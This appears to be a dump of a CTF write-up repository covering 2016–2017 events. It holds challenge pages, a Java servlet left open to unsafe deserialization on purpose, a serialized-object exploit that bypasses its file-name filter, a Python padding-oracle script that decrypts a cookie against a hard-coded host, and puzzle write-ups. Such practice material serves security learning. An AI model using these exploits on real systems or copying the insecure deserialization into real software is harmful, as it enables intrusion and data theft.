4 | 5 | 6 | 7 | 8 |

Duckprint

9 | 10 | 15 | 16 |
18 |
19 | Validate Admin Duck Print 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 |
28 |
29 | TUCTF{Quacky_McQuackerface} 30 | 31 | 32 | -------------------------------------------------------------------------------- /2016/TUCTF/web/DuckPrint/challenge/generate.php.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | Generate 4 | 5 | 6 | 7 | 8 |

Duckprint

9 | 10 | 15 | 16 |
18 |
19 | Generate Duck Print 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 |
30 | Duck Print format: sha256(b64(username) + "." + b64(cookie) + "." + b64(token)) 31 |
32 | 33 |
34 |
35 | 36 | 37 | 38 | -------------------------------------------------------------------------------- /2016/TUCTF/web/DuckPrint/challenge/register.php.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | Register 4 | 5 | 6 | 7 |

Duckprint

8 | 9 | 14 | 15 |
17 |
18 | Register 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 |
27 |
28 | 29 | 30 | 31 | 32 | -------------------------------------------------------------------------------- /2016/TUCTF/web/DuckPrint/challenge/validate.php.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | Validate 4 | 5 | 6 | 7 | 8 |

Duckprint

9 | 10 | 15 | 16 |
18 |
19 | Validate Admin Duck Print 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 |
28 |
29 | 30 | 31 | 32 | -------------------------------------------------------------------------------- /2016/TUCTF/web/LuckyCharms/challenge/LuckyCharms.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | Frosted Lucky Charms, 4 |
5 | They're magically delicious! 6 |
7 | 8 | 9 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /2016/TUCTF/web/LuckyCharms/challenge/LuckyCharms.java: -------------------------------------------------------------------------------- 1 | 2 | import java.io.*; 3 | import javax.servlet.*; 4 | import javax.servlet.http.*; 5 | import java.nio.file.Path; 6 | import java.nio.file.Paths; 7 | 8 | abstract class OSFile implements Serializable { 9 | String file = ""; 10 | abstract String getFileName(); 11 | } 12 | 13 | class WindowsFile extends OSFile { 14 | public String getFileName() { 15 | //Windows filenames are case-insensitive 16 | return file.toLowerCase(); 17 | } 18 | } 19 | 20 | class UnixFile extends OSFile { 21 | public String getFileName() { 22 | //Unix filenames are case-sensitive, don't change 23 | return file; 24 | } 25 | } 26 | 27 | public class LuckyCharms extends HttpServlet { 28 | 29 | public void init() throws ServletException {} 30 | 31 | public void doGet(HttpServletRequest request, HttpServletResponse response) 32 | throws ServletException, IOException { 33 | doPost(request, response); 34 | } 35 | 36 | public void doPost(HttpServletRequest request, HttpServletResponse response) 37 | throws ServletException, IOException { 38 | 39 | response.setContentType("text/html"); 40 | PrintWriter out = response.getWriter(); 41 | 42 | OSFile osfile = null; 43 | try { 44 | osfile = (OSFile) new ObjectInputStream(request.getInputStream()).readObject(); 45 | } catch (Exception e) { 46 | //Oops, let me help you out there 47 | osfile = new WindowsFile(); 48 | if (request.getParameter("look") == null) { 49 | osfile.file = "charms.html"; 50 | } else { 51 | osfile.file = request.getParameter("look"); 52 | } 53 | } 54 | 55 | String f = osfile.getFileName().replace("/","").replace("\\",""); 56 | if (f.contains("flag")) { 57 | //bad hacker! 58 | out.println("You'll Never Get Me Lucky Charms!"); 59 | return; 60 | } 61 | 62 | try { 63 | Path path = Paths.get(getServletContext().getRealPath(f.toLowerCase())); 64 | String content = new String(java.nio.file.Files.readAllBytes(path)); 65 | out.println(content); 66 | } catch (Exception e) { 67 | out.println("Nothing to see here"); 68 | } 69 | } 70 | 71 | public void destroy() {} 72 | } 73 | 74 | 75 | 76 | -------------------------------------------------------------------------------- /2016/TUCTF/web/LuckyCharms/solution/Hax.java: -------------------------------------------------------------------------------- 1 | import java.io.*; 2 | 3 | 4 | abstract class OSFile implements Serializable { 5 | String file = ""; 6 | abstract String getFileName(); 7 | } 8 | 9 | class UnixFile extends OSFile { 10 | public String getFileName() { 11 | //Unix filenames are case-sensitive, don't change 12 | return file; 13 | } 14 | } 15 | 16 | 17 | public class Hax { 18 | 19 | public static void main(String[] args) { 20 | UnixFile f = new UnixFile(); 21 | f.file = "FLAG"; 22 | try 23 | { 24 | FileOutputStream fileOut = new FileOutputStream("/tmp/Hax.bin"); 25 | ObjectOutputStream out = new ObjectOutputStream(fileOut); 26 | out.writeObject(f); 27 | out.close(); 28 | fileOut.close(); 29 | System.out.printf("Serialized data is saved in /tmp/Hax.bin\n"); 30 | }catch(IOException i) 31 | { 32 | i.printStackTrace(); 33 | } 34 | 35 | } 36 | 37 | } 38 | -------------------------------------------------------------------------------- /2016/TUCTF/web/PetPaddingInc/solution/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # 3 | # TUCTF 2016 4 | # PetPaddingInc (WEB/150) 5 | # 6 | # @a: Smoke Leet Everyday 7 | # @u: https://github.com/smokeleeteveryday 8 | # 9 | from paddingoracle import BadPaddingException, PaddingOracle 10 | from base64 import b64encode, b64decode 11 | from urllib import quote, unquote 12 | import requests 13 | import socket 14 | import time 15 | 16 | class PadBuster(PaddingOracle): 17 | def __init__(self, **kwargs): 18 | super(PadBuster, self).__init__(**kwargs) 19 | self.session = requests.Session() 20 | self.wait = kwargs.get('wait', 2.0) 21 | 22 | def oracle(self, data, **kwargs): 23 | somecookie = quote(b64encode(data)) 24 | self.session.cookies['youCantDecryptThis'] = somecookie 25 | 26 | while 1: 27 | try: 28 | response = self.session.get('http://104.196.60.112/', 29 | stream=False, timeout=5, verify=False) 30 | break 31 | except (socket.error, requests.exceptions.RequestException): 32 | logging.exception('Retrying request in %.2f seconds...', 33 | self.wait) 34 | time.sleep(self.wait) 35 | continue 36 | 37 | self.history.append(response) 38 | print response.headers 39 | if 'warning' in response.headers: 40 | if "padding" in response.headers['warning']: 41 | raise BadPaddingException 42 | 43 | logging.debug('Warning, No padding exception raised on %r', somecookie) 44 | return 45 | 46 | return 47 | 48 | if __name__ == '__main__': 49 | import logging 50 | import sys 51 | 52 | if not sys.argv[1:]: 53 | print 'Usage: %s ' % (sys.argv[0], ) 54 | sys.exit(1) 55 | 56 | logging.basicConfig(level=logging.DEBUG) 57 | 58 | encrypted_cookie = b64decode(unquote(sys.argv[1])) 59 | 60 | padbuster = PadBuster() 61 | 62 | cookie = padbuster.decrypt(encrypted_cookie, block_size=8, iv=bytearray(8)) 63 | 64 | print('Decrypted somecookie: %s => %r' % (sys.argv[1], cookie)) 65 | -------------------------------------------------------------------------------- /2016/VOLGACTF/README.md: -------------------------------------------------------------------------------- 1 | # VolgaCTF 2016 2 | 25 mrt 2016, 16:00 CET — 27 mrt 2016, 17:00 CEST 3 | 4 | Official URL: https://2016.volgactf.ru/ 5 | CTFtime event: [CTFtime](https://ctftime.org/event/279) 6 | 7 | ## Result 8 | | Place | Points | Rating points | 9 | |------:|-------:|--------------:| 10 | | - | - | - | 11 | 12 | ## Solved 13 | | Challenge | Type | Points | Write-up | 14 | |:----------|:-----|-------:|:-------------| 15 | | Shiver PC | Misc. | 100 | [link](misc/shiverpc) | 16 | | Tic-Tac-Toe | PPC | 200 | [link](ppc/tictactoe) | 17 | | Broken | Reverse | 200 | [link](reverse/broken) | 18 | | Lazy | Crypto | 250 | [link](crypto/lazy) | 19 | | Web of Science | Pwn | 250 | [link](pwn/webofscience) | 20 | | Web of Science 2 | Pwn | 350 | [link](pwn/webofscience2) | -------------------------------------------------------------------------------- /2016/VOLGACTF/crypto/lazy/challenge/exit.sig: -------------------------------------------------------------------------------- 1 | 618115531371374705088478644225735834217345085623 2 | 172143370381913466209965676314309162396852880243 -------------------------------------------------------------------------------- /2016/VOLGACTF/crypto/lazy/challenge/key.public: -------------------------------------------------------------------------------- 1 | 68512153291206841611754462560551037146984131865308362132039007763901629656419762685119654739431977137189082405306180782455460879808641023924533650186918387984473208103949939025064669161570420035977887544113169392280026656271303132002190980625983572858137777505730536249707595163952630465918222171776836844973 2 | 778989982803454158276426691152625663891191165251 3 | 64998036981102362704978476508972628582882576868369737500314734280328492119395180544097132899416011014425358276490367894352196112650427253804154125193997276351284916878713359366436205241155848152230136737798001316810221728002947999297364648683856119056494147087593939606104012882954758126871201581561126419354 4 | 57256445660178680165036356665612916152021216483964990386924735528197218686220324233652057277625641326373730546367828989082916074941941027821863926510923998385446215270789891185067541626307704929851912451924146452244610185080849993156400989168309076549651410516049200914509815378543421307788428686312783632879 -------------------------------------------------------------------------------- /2016/VOLGACTF/crypto/lazy/challenge/leave.sig: -------------------------------------------------------------------------------- 1 | 618115531371374705088478644225735834217345085623 2 | 132450039864758067994560555212301135386357959258 -------------------------------------------------------------------------------- /2016/VOLGACTF/crypto/lazy/eq1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2016/VOLGACTF/crypto/lazy/eq1.png -------------------------------------------------------------------------------- /2016/VOLGACTF/crypto/lazy/eq2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2016/VOLGACTF/crypto/lazy/eq2.png -------------------------------------------------------------------------------- /2016/VOLGACTF/crypto/lazy/eq3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2016/VOLGACTF/crypto/lazy/eq3.png -------------------------------------------------------------------------------- /2017/KASPERSKY/README.md: -------------------------------------------------------------------------------- 1 | # KASPERKSY INDUSTRIAL CTF QUALS 2017 2 | Fri, 06 Oct. 2017, 16:00 CEST — Sun, 08 Oct. 2017, 16:00 CEST 3 | 4 | Official URL: [https://ctf.kaspersky.com/](https://ctf.kaspersky.com/) 5 | CTFtime event: [https://ctftime.org/event/519](https://ctftime.org/event/519) 6 | 7 | > The Quals will be held online and start from 6 of October (5.00 p.m. Moscow time) till 8 of October (5.00 p.m. Moscow time). The Finals will be held on 24 of October in Shanghai. 8 | > This year, the Qualifications will include the following types of tasks: 9 | > 1. Web 10 | > 2. Pwn 11 | > 3. Crypto 12 | > 4. Stegano/Forensics 13 | > 5. Reverse 14 | > 6. Fun 15 | > 16 | > For the finals, we have prepared a stand with an Oil Refinery Factory connected to a Digital Substation. The top three teams will get a chance to hack it and get the prizes. 17 | > ### Prizes 18 | > 19 | > Top 3 teams will be qualified to the Kaspersky Industrial CTF Finals during the GeekPwn1024 event in Shanghai, China 20 | 21 | ## Result 22 | | Place | Points | Rating points | 23 | |:-----:|-------:|--------------:| 24 | | 89 | 950 | - | 25 | 26 | ## Solved 27 | | Challenge | Type | Points | Write-up | 28 | |:----------|:-----|-------:|:-------------| 29 | | Backdoor Pi | Reverse Engineering | 300 | - | 30 | | petushok | Fun | 200 | - | 31 | | Old School | Fun | 150 | [link](fun/old-school) | 32 | | Security home camers | Cryptography | 300 | - | 33 | -------------------------------------------------------------------------------- /2017/KASPERSKY/fun/old-school/README.md: -------------------------------------------------------------------------------- 1 | # KASPERSKY INDUSTRIAL CTF QUALS 2017: Old School 2 | 3 | ## Challenge details 4 | | Event | Challenge | Category | Points | 5 | |:------|:----------|:---------|-------:| 6 | | Kaspersky Industrial CTF Quals 2017 | Old School | Fun | 150 | 7 | 8 | ### Description 9 | > Hey! Do you like playing? Are you old school? 10 | > 11 | > Have fun! 12 | > 13 | > Concat answer to KLCTF prefix 14 | > 15 | > [OLD_SCHOOL.bin](challenge/old_school.bin) 16 | 17 | ## Write-up 18 | We are given [old_school.bin](challenge/old_school.bin), so let's first figure out what 19 | kind of file this is: 20 | 21 | ```bash 22 | $ file old_school.bin 23 | old_school.bin: NES ROM image (iNES): 2x16k PRG, 1x8k CHR [V-mirror] 24 | ``` 25 | 26 | So it's a NES rom. Let's fire up a NES emulator (we used Nestopia) and check it 27 | out. 28 | 29 | ![screenshot](screenshot.png) 30 | 31 | So it seems we are dealing with an edited version of Ms. Pac-Man. Starting the 32 | game loads the first level identically to the original. 33 | 34 | ![game](game.png) 35 | 36 | ### Solution 37 | After finishing the first level successfully, the second level is loaded. We 38 | notice, but now with some numbers floating around. In stead of playing through 39 | the whole game, we can use a level editor 40 | ([Blinky](https://www.romhacking.net/utilities/393/)) for the original game to 41 | quickly see what all the levels look like. Levels 2 to 8 contain numbers: 42 | 43 | ![level 2](solution/level-2.png) 44 | ![level 3](solution/level-3.png) 45 | ![level 4](solution/level-4.png) 46 | ![level 5](solution/level-5.png) 47 | ![level 6](solution/level-6.png) 48 | ![level 7](solution/level-7.png) 49 | ![level 8](solution/level-8.png) 50 | 51 | This gives us the following sequence of numbers: 52 | 53 | ``` 54 | level 2: 87 69 76 67 79 77 69 55 | level 3: 89 79 85 87 73 76 76 56 | level 4: 70 73 78 68 84 72 69 57 | level 5: 70 76 65 71 65 84 58 | level 6: 84 72 69 76 69 86 69 76 59 | level 7: 69 73 71 72 84 60 | level 8: 47 110 88 78 117 86 120 121 57 61 | ``` 62 | 63 | If we convert the numbers (as decimals) to their corresponding ascii codes we 64 | get: `WELCOMEYOUWILLFINDTHEFLAGATTHELEVELEIGHT/nXNuVxy9` 65 | 66 | The score view on the right of the level has been changed. Where the original 67 | says `HI-SCORE` and `1UP`, our version says `ON-PASTE` and `BIN`. So obviously 68 | we need to check [https://pastebin.com/nXNuVxy9](https://pastebin.com/nXNuVxy9), 69 | where we find a base64 string `S0xGQ1RGe1czXzRMTF9MMFYzX1IzVFIwfQ==` 70 | Decoding this gives us the flag. 71 | 72 | #### Flag 73 | ```bash 74 | $ base64 -d <<< S0xGQ1RGe1czXzRMTF9MMFYzX1IzVFIwfQ== && echo 75 | KLFCTF{W3_4LL_L0V3_R3TR0} 76 | ``` 77 | -------------------------------------------------------------------------------- /2017/KASPERSKY/fun/old-school/challenge/old_school.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2017/KASPERSKY/fun/old-school/challenge/old_school.bin -------------------------------------------------------------------------------- /2017/KASPERSKY/fun/old-school/game.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2017/KASPERSKY/fun/old-school/game.png -------------------------------------------------------------------------------- /2017/KASPERSKY/fun/old-school/screenshot.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2017/KASPERSKY/fun/old-school/screenshot.png -------------------------------------------------------------------------------- /2017/KASPERSKY/fun/old-school/solution/level-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2017/KASPERSKY/fun/old-school/solution/level-2.png -------------------------------------------------------------------------------- /2017/KASPERSKY/fun/old-school/solution/level-3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2017/KASPERSKY/fun/old-school/solution/level-3.png -------------------------------------------------------------------------------- /2017/KASPERSKY/fun/old-school/solution/level-4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2017/KASPERSKY/fun/old-school/solution/level-4.png -------------------------------------------------------------------------------- /2017/KASPERSKY/fun/old-school/solution/level-5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2017/KASPERSKY/fun/old-school/solution/level-5.png -------------------------------------------------------------------------------- /2017/KASPERSKY/fun/old-school/solution/level-6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2017/KASPERSKY/fun/old-school/solution/level-6.png -------------------------------------------------------------------------------- /2017/KASPERSKY/fun/old-school/solution/level-7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2017/KASPERSKY/fun/old-school/solution/level-7.png -------------------------------------------------------------------------------- /2017/KASPERSKY/fun/old-school/solution/level-8.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2017/KASPERSKY/fun/old-school/solution/level-8.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CTF_WRITEUPS 2 | CTF Writeups 3 | -------------------------------------------------------------------------------- /event_template.md: -------------------------------------------------------------------------------- 1 | # EVENT_NAME YEAR 2 | DATE 3 | 4 | Official URL: [OFFICIAL_URL](OFFICIAL_URL) 5 | CTFtime event: [CTFtime](CTFTIME_EVENT_URL) 6 | 7 | OPTIONAL_MESSAGE 8 | 9 | ## Result 10 | | Place | Points | Rating points | 11 | |:-----:|-------:|--------------:| 12 | | PLACE | POINTS | RATING_POINTS | 13 | 14 | ## Solved 15 | | Challenge | Type | Points | Write-up | 16 | |:----------|:-----|-------:|:-------------| 17 | | CHALLENGE | TYPE | POINTS | [link](WRITE_UP_LINK) | 18 | | CHALLENGE | TYPE | POINTS | - | 19 | -------------------------------------------------------------------------------- /write-up_template.md: -------------------------------------------------------------------------------- 1 | # EVENT_NAME YEAR: challenge_name 2 | 3 | ## Challenge details 4 | | Event | Challenge | Category | Points | 5 | |:------|:----------|:---------|-------:| 6 | | EVENT | CHALLENGE | CATEGORY | POINTS | 7 | 8 | ### Description 9 | > HERE GOES THE CHALLENGE DESCRIPTION 10 | 11 | ## Write-up 12 | HERE GOES THE ACTUAL WRITE-UP 13 | 14 | ### Solution 15 | HERE GOES THE SOLUTION 16 | 17 | #### Flag 18 | `HERE_GOES_THE_FLAG` 19 | --------------------------------------------------------------------------------